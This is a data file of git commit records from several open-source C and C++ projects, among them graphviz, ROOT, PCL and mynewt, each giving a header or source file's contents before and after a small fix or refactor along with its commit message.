{"commit":"462e57739769909d72cda50355e2ccc055386816","old_file":"include\/dg\/PointerAnalysis\/PointsToSet.h","new_file":"include\/dg\/PointerAnalysis\/PointsToSet.h","old_contents":"#ifndef DG_POINTS_TO_SET_H_\n#define DG_POINTS_TO_SET_H_\n\n#include \"dg\/PointerAnalysis\/PointsToSets\/OffsetsSetPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SimplePointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SeparateOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/PointerIdPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SmallOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/AlignedSmallOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/AlignedPointerIdPointsToSet.h\"\n\nnamespace dg {\nnamespace pta {\n\n\/\/using PointsToSetT = OffsetsSetPointsToSet;\nusing PointsToSetT = PointerIdPointsToSet;\nusing PointsToMapT = std::map<Offset, PointsToSetT>;\n\n} \/\/ namespace pta\n} \/\/ namespace dg\n\n#endif\n","new_contents":"#ifndef DG_POINTS_TO_SET_H_\n#define DG_POINTS_TO_SET_H_\n\n#include \"dg\/PointerAnalysis\/PointsToSets\/OffsetsSetPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SimplePointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SeparateOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/PointerIdPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/SmallOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/AlignedSmallOffsetsPointsToSet.h\"\n#include \"dg\/PointerAnalysis\/PointsToSets\/AlignedPointerIdPointsToSet.h\"\n\nnamespace dg {\nnamespace pta {\n\nusing PointsToSetT = OffsetsSetPointsToSet;\nusing PointsToMapT = std::map<Offset, PointsToSetT>;\n\n} \/\/ namespace pta\n} \/\/ namespace dg\n\n#endif\n","subject":"Revert \"PTA: use bitvector-based points-to set representation\"","message":"Revert \"PTA: use bitvector-based points-to set representation\"\n\nThis reverts commit 74f5d133452018f5e933ab864446bdb720fa84b9.\n","lang":"C","license":"mit","repos":"mchalupa\/dg,mchalupa\/dg,mchalupa\/dg,mchalupa\/dg"}
{"commit":"7a2e8ee731e707612983c6f1dd85651077d92052","old_file":"include\/OgreHeadlessApi.h","new_file":"include\/OgreHeadlessApi.h","old_contents":"\n\/* Copyright 2013 Jonne Nauha \/ jonne@adminotech.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#if (OGRE_PLATFORM == OGRE_PLATFORM_WIN32) && !defined(__MINGW32__) && !defined(OGRE_STATIC_LIB)\n#\tifdef RenderSystem_Headless_EXPORTS\n#\t\tdefine _OgreHeadlessExport __declspec(dllexport)\n#\telse\n#       if defined(__MINGW32__)\n#           define _OgreHeadlessExport\n#       else\n#    \t\tdefine _OgreHeadlessExport __declspec(dllimport)\n#       endif\n#\tendif\n#elif defined (OGRE_GCC_VISIBILITY)\n#    define _OgreHeadlessExport  __attribute__ ((visibility(\"default\")))\n#else\n#    define _OgreHeadlessExport\n#endif\n","new_contents":"\n\/* Copyright 2013 Jonne Nauha \/ jonne@adminotech.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include \"OgrePrerequisites.h\"\n\n#if (OGRE_PLATFORM == OGRE_PLATFORM_WIN32) && !defined(__MINGW32__) && !defined(OGRE_STATIC_LIB)\n#   ifdef RenderSystem_Headless_EXPORTS\n#       define _OgreHeadlessExport __declspec(dllexport)\n#   else\n#       if defined(__MINGW32__)\n#           define _OgreHeadlessExport\n#       else\n#           define _OgreHeadlessExport __declspec(dllimport)\n#       endif\n#   endif\n#elif defined (OGRE_GCC_VISIBILITY)\n#    define _OgreHeadlessExport  __attribute__ ((visibility(\"default\")))\n#else\n#    define _OgreHeadlessExport\n#endif\n","subject":"Fix compilation on non-windows, had not tested this before and was missinga platform include.","message":"Fix compilation on non-windows, had not tested this before and was missinga platform include.\n","lang":"C","license":"apache-2.0","repos":"jonnenauha\/ogre-headless-renderer"}
{"commit":"491451e9a3437f068fc9d7a3692a584673030f99","old_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","new_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","old_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDF::TInterface<ROOT::Detail::TDF::TFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDF::TInterface<ROOT::Detail::TDF::TCustomColumnBase>-;\n#pragma link C++ class ROOT::Detail::TLoopManager-;\n\n#endif\n","new_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDF::TInterface<ROOT::Detail::TDF::TFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDF::TInterface<ROOT::Detail::TDF::TCustomColumnBase>-;\n#pragma link C++ class ROOT::Detail::TDF::TLoopManager-;\n\n#endif\n","subject":"Solve undefined symbol issue spelling the right class name in the linkdef.","message":"[TDF] Solve undefined symbol issue spelling the right class name in the linkdef.\n","lang":"C","license":"lgpl-2.1","repos":"agarciamontoro\/root,mhuwiler\/rootauto,simonpf\/root,olifre\/root,zzxuanyuan\/root,karies\/root,agarciamontoro\/root,zzxuanyuan\/root,agarciamontoro\/root,karies\/root,zzxuanyuan\/root,karies\/root,simonpf\/root,karies\/root,simonpf\/root,karies\/root,simonpf\/root,zzxuanyuan\/root,mhuwiler\/rootauto,karies\/root,olifre\/root,root-mirror\/root,zzxuanyuan\/root,olifre\/root,simonpf\/root,zzxuanyuan\/root,agarciamontoro\/root,karies\/root,agarciamontoro\/root,mhuwiler\/rootauto,simonpf\/root,agarciamontoro\/root,agarciamontoro\/root,olifre\/root,simonpf\/root,agarciamontoro\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,agarciamontoro\/root,simonpf\/root,agarciamontoro\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,karies\/root,olifre\/root,zzxuanyuan\/root,simonpf\/root,mhuwiler\/rootauto,root-mirror\/root,zzxuanyuan\/root,olifre\/root,simonpf\/root,root-mirror\/root,zzxuanyuan\/root,karies\/root,olifre\/root,mhuwiler\/rootauto,root-mirror\/root,zzxuanyuan\/root,agarciamontoro\/root,mhuwiler\/rootauto,olifre\/root,olifre\/root,mhuwiler\/rootauto,olifre\/root,simonpf\/root,zzxuanyuan\/root,karies\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,root-mirror\/root,zzxuanyuan\/root"}
{"commit":"ac9bbd3283e587ba309e9eec84ff76fb19fa7f94","old_file":"lib\/fdpgen\/clusteredges.h","new_file":"lib\/fdpgen\/clusteredges.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef CLUSTEREDGES_H\n#define CLUSTEREDGES_H\n\n#include <render.h>\n\n    extern int compoundEdges(graph_t * g, double SEP, int splines);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef CLUSTEREDGES_H\n#define CLUSTEREDGES_H\n\n#include <render.h>\n#include <adjust.h>\n\n    extern int compoundEdges(graph_t * g, expand_t* pm, int splines);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix the sep and esep attributes to allow additive margins in addition to scaled margins.","message":"Fix the sep and esep attributes to allow additive margins in addition\nto scaled margins.\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz"}
{"commit":"6a51f3d903433eb69bef145fa8fd4d30b762ee01","old_file":"new\/lidar.h","new_file":"new\/lidar.h","old_contents":"#ifndef _LIDAR_H_\n#define _LIDAR_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst int LIDAR_DATA_PORT = 2368;\nconst int LIDAR_SYNC_PORT = 8308;\nconst int LIDAR_TIME_PORT = 10110;\n\ntypedef void (* LidarDataProcessor)(char *p, int start, int len);\n\ntypedef void * LIDAR;\n\nLIDAR lidar_send_init(int port);\nLIDAR lidar_receive_init(int port);\nvoid lidar_dispose(LIDAR p);\n\nvoid lidar_read_data(LIDAR p, LidarDataProcessor processor);\nvoid lidar_write_data(LIDAR p, char * data, int start, int len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif","new_contents":"#ifndef _LIDAR_H_\n#define _LIDAR_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define LIDAR_DATA_PORT 2368\n#define LIDAR_SYNC_PORT 8308\n#define LIDAR_TIME_PORT 10110\n\ntypedef void (* LidarDataProcessor)(char *p, int start, int len);\n\ntypedef void * LIDAR;\n\nLIDAR lidar_send_init(int port);\nLIDAR lidar_receive_init(int port);\nvoid lidar_dispose(LIDAR p);\n\nvoid lidar_read_data(LIDAR p, LidarDataProcessor processor);\nvoid lidar_write_data(LIDAR p, char * data, int start, int len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif","subject":"Update LIDAR const to preprocessor macros","message":"Update LIDAR const to preprocessor macros\n","lang":"C","license":"apache-2.0","repos":"yystju\/lidar,yystju\/lidar,yystju\/lidar,yystju\/lidar,yystju\/lidar,yystju\/lidar"}
{"commit":"b591e8ce438094b3f2af77621fcfaf77eaccbcd8","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n\nint main(void)\n{\n\tprintf(\"Hello world!\");\n\treturn 0;\n}","new_contents":"#include <stdio.h>\n\nint main(void)\n{\n\tprintf(\"Hello world!\\n\");\n\treturn 0;\n}","subject":"Add missing new line character","message":"Add missing new line character\n","lang":"C","license":"mit","repos":"rafaltrzop\/NoughtsAndCrosses"}
{"commit":"72a29a96d123990adef08b392d0efccb6c5ecd69","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef PL_ZERO_UTIL_H\n#define PL_ZERO_UTIL_H\n\n#include <sstream>\n\nnamespace pl0 {\n\n#if defined(_MSC_VER) || defined(__GNUC__)\nnamespace polyfill {\n\ntemplate <typename T, typename... Args>\nvoid fold_write_stream(std::ostringstream &oss, T value, Args... args) {\n    oss << value;\n    fold_write_stream(oss, args...);\n}\n\ntemplate <typename T>\nvoid fold_write_stream(std::ostringstream &oss, T value) {\n    oss << value;\n}\n\n}\n#endif\n\nclass general_error {\n    std::string message_;\npublic:\n    template <typename... Args>\n    general_error(Args... args) {\n        std::ostringstream oss;\n#if defined(_MSC_VER) || defined(__GNUC__)\n        \/\/ Visual Studio 2017 does not support fold expression now.\n        \/\/ We need to make a polyfill.\n        polyfill::fold_write_stream(oss, args...);\n#else\n        oss << ... << args;\n#endif\n        message_ = oss.str();\n    }\n\n    const std::string &what() const { return message_; }\n};\n\n}\n\n#endif\n","new_contents":"#ifndef PL_ZERO_UTIL_H\n#define PL_ZERO_UTIL_H\n\n#include <sstream>\n\nnamespace pl0 {\n\n#if defined(_MSC_VER) || defined(__GNUC__)\nnamespace polyfill {\n\ntemplate <typename T>\nvoid fold_write_stream(std::ostringstream &oss, T value) {\n    oss << value;\n}\n\ntemplate <typename T, typename... Args>\nvoid fold_write_stream(std::ostringstream &oss, T value, Args... args) {\n    oss << value;\n    fold_write_stream(oss, args...);\n}\n\n}\n#endif\n\nclass general_error {\n    std::string message_;\npublic:\n    template <typename... Args>\n    general_error(Args... args) {\n        std::ostringstream oss;\n#if defined(_MSC_VER) || defined(__GNUC__)\n        \/\/ Visual Studio 2017 does not support fold expression now.\n        \/\/ We need to make a polyfill.\n        polyfill::fold_write_stream(oss, args...);\n#else\n        oss << ... << args;\n#endif\n        message_ = oss.str();\n    }\n\n    const std::string &what() const { return message_; }\n};\n\n}\n\n#endif\n","subject":"Swap two overloads to make g++ happy.","message":"Swap two overloads to make g++ happy.\n\nHmmmm.\n","lang":"C","license":"mit","repos":"chengluyu\/PL0"}
{"commit":"8bcf51be4fa4dfa6654c92ba7ba2482a8a945235","old_file":"include\/mega\/version.h","new_file":"include\/mega\/version.h","old_contents":"\n#ifndef MEGA_MAJOR_VERSION\n#define MEGA_MAJOR_VERSION 4\n#endif\n#ifndef MEGA_MINOR_VERSION\n#define MEGA_MINOR_VERSION 4\n#endif\n#ifndef MEGA_MICRO_VERSION\n#define MEGA_MICRO_VERSION 0\n#endif\n","new_contents":"#ifndef MEGA_MAJOR_VERSION\n#define MEGA_MAJOR_VERSION 4\n#endif\n#ifndef MEGA_MINOR_VERSION\n#define MEGA_MINOR_VERSION 4\n#endif\n#ifndef MEGA_MICRO_VERSION\n#define MEGA_MICRO_VERSION 0\n#endif\n","subject":"Apply 1 suggestion(s) to 1 file(s)","message":"Apply 1 suggestion(s) to 1 file(s)","lang":"C","license":"bsd-2-clause","repos":"meganz\/sdk,meganz\/sdk,meganz\/sdk,meganz\/sdk,meganz\/sdk,meganz\/sdk,meganz\/sdk"}
{"commit":"5ca20b9b28839fca55cc1c7b0b8ee78abb45696d","old_file":"mud\/home\/Geometry\/lwo\/coordinates\/lla.c","new_file":"mud\/home\/Geometry\/lwo\/coordinates\/lla.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2021  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","subject":"Add stub for LLA coordinates.","message":"Add stub for LLA coordinates.\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"24acb5ee218e20c7e7af477bcbe8d3b339ab63fe","old_file":"std\/stack.c","new_file":"std\/stack.c","old_contents":"#include \"std\/list.h\"\n#include \"std\/memory.h\"\n#include \"std\/stack.h\"\n\nstruct Stack {\n  NodeT *list;\n  AtomPoolT *pool;\n};\n\nStackT *NewStack(AtomPoolT *pool) {\n  StackT *stack = NEW_S(StackT);\n\n  stack->list = NewList();\n  stack->pool = pool;\n\n  StackPushNew(stack);\n\n  return stack;\n}\n\nvoid DeleteStack(StackT *stack) {\n  if (stack) {\n    DeleteList(stack->list);\n    DeleteAtomPool(stack->pool);\n    DELETE(stack);\n  }\n}\n\nvoid StackReset(StackT *stack) {\n  ResetList(stack->list);\n  ResetAtomPool(stack->pool);\n}\n\nvoid StackRemove(StackT *stack) {\n  AtomFree(stack->pool, ListPopFront(stack->list));\n}\n\nPtrT StackPeek(StackT *stack, size_t index) {\n  return ListGetNth(stack->list, index);\n}\n\nPtrT StackTop(StackT *stack) {\n  return ListGetNth(stack->list, 0);\n}\n\nPtrT StackPushNew(StackT *stack) {\n  PtrT item = AtomNew0(stack->pool);\n\n  ListPushFront(stack->list, item);\n\n  return item;\n}\n\nsize_t StackSize(StackT *stack) {\n  return ListSize(stack->list);\n}\n","new_contents":"#include \"std\/list.h\"\n#include \"std\/memory.h\"\n#include \"std\/stack.h\"\n\nstruct Stack {\n  ListT *list;\n  AtomPoolT *pool;\n};\n\nStackT *NewStack(AtomPoolT *pool) {\n  StackT *stack = NEW_S(StackT);\n\n  stack->list = NewList();\n  stack->pool = pool;\n\n  StackPushNew(stack);\n\n  return stack;\n}\n\nvoid DeleteStack(StackT *stack) {\n  if (stack) {\n    DeleteList(stack->list);\n    DeleteAtomPool(stack->pool);\n    DELETE(stack);\n  }\n}\n\nvoid StackReset(StackT *stack) {\n  ResetList(stack->list);\n  ResetAtomPool(stack->pool);\n}\n\nvoid StackRemove(StackT *stack) {\n  AtomFree(stack->pool, ListPopFront(stack->list));\n}\n\nPtrT StackPeek(StackT *stack, size_t index) {\n  return ListGet(stack->list, index);\n}\n\nPtrT StackTop(StackT *stack) {\n  return ListGet(stack->list, 0);\n}\n\nPtrT StackPushNew(StackT *stack) {\n  PtrT item = AtomNew0(stack->pool);\n\n  ListPushFront(stack->list, item);\n\n  return item;\n}\n\nsize_t StackSize(StackT *stack) {\n  return ListSize(stack->list);\n}\n","subject":"Correct after list API changes.","message":"Correct after list API changes.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"7f57422d19d088d4bb8d96ed202c27383ae760cb","old_file":"DigitalSynthVRA8M\/synth.h","new_file":"DigitalSynthVRA8M\/synth.h","old_contents":"#pragma once\n\n\/\/ #define private public  \/\/ for tests\n\n#include \"common.h\"\n\n\/\/ associations of units\n#define IVCO             VCO\n#define IVCF             VCF\n#define IVCA             VCA\n#define IEG              EG\n#define ILFO             LFO\n#define ISlewRateLimiter SlewRateLimiter\n#define IVoice           Voice\n#define ISynthCore       SynthCore\n\n#include \"vco.h\"\n#include \"vcf.h\"\n#include \"vca.h\"\n#include \"eg.h\"\n#include \"lfo.h\"\n#include \"slew-rate-limiter.h\"\n#include \"voice.h\"\n#include \"synth-core.h\"\n\ntemplate <uint8_t T>\nclass Synth {\npublic:\n  INLINE static void initialize() {\n    ISynthCore<0>::initialize();\n  }\n\n  INLINE static void receive_midi_byte(uint8_t b) {\n    return ISynthCore<0>::receive_midi_byte(b);\n  }\n\n  INLINE static int8_t clock() {\n    return ISynthCore<0>::clock();\n  }\n};\n","new_contents":"#pragma once\n\n\/\/ #define private public  \/\/ for tests\n\n#include \"common.h\"\n\n\/\/ associations of units\n#define IVCO             VCO\n#define IVCF             VCF\n#define IVCA             VCA\n#define IEG              EG\n#define ILFO             LFO\n#define ISlewRateLimiter SlewRateLimiter\n#define IVoice           Voice\n#define ISynthCore       SynthCore\n\n#include \"vco.h\"\n#include \"vcf.h\"\n#include \"vca.h\"\n#include \"eg.h\"\n#include \"lfo.h\"\n#include \"slew-rate-limiter.h\"\n#include \"voice.h\"\n#include \"synth-core.h\"\n\ntemplate <uint8_t T>\nclass Synth {\npublic:\n  INLINE static void initialize() {\n    ISynthCore<0>::initialize();\n  }\n\n  INLINE static void receive_midi_byte(uint8_t b) {\n    ISynthCore<0>::receive_midi_byte(b);\n  }\n\n  INLINE static int8_t clock() {\n    return ISynthCore<0>::clock();\n  }\n};\n","subject":"Fix a type of return value","message":"Fix a type of return value\n","lang":"C","license":"cc0-1.0","repos":"risgk\/digital-synth-vra8-m,risgk\/digital-synth-vra8-m,risgk\/digital-synth-vra8-m,risgk\/digital-synth-vra8-m"}
{"commit":"2965d004d35d8541bc48f761cf554fc643465462","old_file":"proctor\/include\/pcl\/proctor\/proposer.h","new_file":"proctor\/include\/pcl\/proctor\/proposer.h","old_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      float votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","new_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      double votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","subject":"Change votes to use double.","message":"Change votes to use double.\n\ngit-svn-id: e7ea667a1d39a4453c4efcc4ba7bca3d620c3f19@4320 a9d63959-f2ad-4865-b262-bf0e56cfafb6\n","lang":"C","license":"bsd-3-clause","repos":"daviddoria\/PCLMirror,otherlab\/pcl,otherlab\/pcl,daviddoria\/PCLMirror,patmarion\/PCL,otherlab\/pcl,otherlab\/pcl,patmarion\/PCL,daviddoria\/PCLMirror,daviddoria\/PCLMirror,patmarion\/PCL,daviddoria\/PCLMirror,otherlab\/pcl,patmarion\/PCL,patmarion\/PCL"}
{"commit":"9488a6285b44d32645b44327d1582a0a607581dc","old_file":"Fleet\/ObjC\/FleetSwizzle.h","new_file":"Fleet\/ObjC\/FleetSwizzle.h","old_contents":"#import <Foundation\/Foundation.h>\n\nvoid memorySafeExecuteSelector(Class klass, SEL selector);\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n Internal Fleet use only\n *\/\nvoid memorySafeExecuteSelector(Class klass, SEL selector);\n","subject":"Mark ObjC magic as \"internal use only\"","message":"Mark ObjC magic as \"internal use only\"\n","lang":"C","license":"apache-2.0","repos":"jwfriese\/Fleet,jwfriese\/Fleet,jwfriese\/Fleet,jwfriese\/Fleet"}
{"commit":"37d85d86ce4cba0cf80f36b6f6e0cdacd7c472e9","old_file":"hw\/bsp\/stm32f429discovery\/include\/bsp\/cmsis_nvic.h","new_file":"hw\/bsp\/stm32f429discovery\/include\/bsp\/cmsis_nvic.h","old_contents":"\/* mbed Microcontroller Library - cmsis_nvic\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/\n\n#ifndef MBED_CMSIS_NVIC_H\n#define MBED_CMSIS_NVIC_H\n\n#include <stdint.h>\n\n#define NVIC_NUM_VECTORS      (16 + 81)   \/\/ CORE + MCU Peripherals\n#define NVIC_USER_IRQ_OFFSET  16\n\n#include \"stm32f429xx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid NVIC_Relocate(void);\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector);\nuint32_t NVIC_GetVector(IRQn_Type IRQn);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library - cmsis_nvic\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/\n\n#ifndef MBED_CMSIS_NVIC_H\n#define MBED_CMSIS_NVIC_H\n\n#include <stdint.h>\n\n#define NVIC_NUM_VECTORS      (16 + 91)   \/\/ CORE + MCU Peripherals\n#define NVIC_USER_IRQ_OFFSET  16\n\n#include \"stm32f429xx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid NVIC_Relocate(void);\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector);\nuint32_t NVIC_GetVector(IRQn_Type IRQn);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix nvic vectors number to 16 + 91","message":"bsp\/stm32f429: Fix nvic vectors number to 16 + 91\n\nFrom st datasheet page 24:\n\n    The devices embed a nested vectored interrupt controller\n    able to manage 16 priority levels, and handle up to 91\n    maskable interrupt channels plus the 16 interrupt lines\n    of the Cortex®-M4 with FPU core.\n","lang":"C","license":"apache-2.0","repos":"andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core"}
